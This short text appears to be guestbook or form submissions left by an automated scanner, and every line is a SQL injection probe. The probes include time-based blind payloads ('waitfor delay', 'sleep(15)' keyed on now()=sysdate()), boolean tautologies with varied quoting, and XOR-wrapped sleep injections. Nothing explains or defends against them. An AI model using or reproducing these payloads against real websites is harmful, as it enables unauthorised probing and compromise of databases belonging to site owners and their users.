Guest:
555-1 waitfor delay '0:0:15' -- 


Guest:
555-1 waitfor delay '0:0:15' -- 


-1 OR 2+840-840-1=0+0+0+1 --

-1 OR 2+217-217-1=0+0+0+1

-1' OR 2+389-389-1=0+0+0+1 --

-1' OR 2+160-160-1=0+0+0+1 or 'Ons0rlar'='

-1" OR 2+557-557-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1 waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1 waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z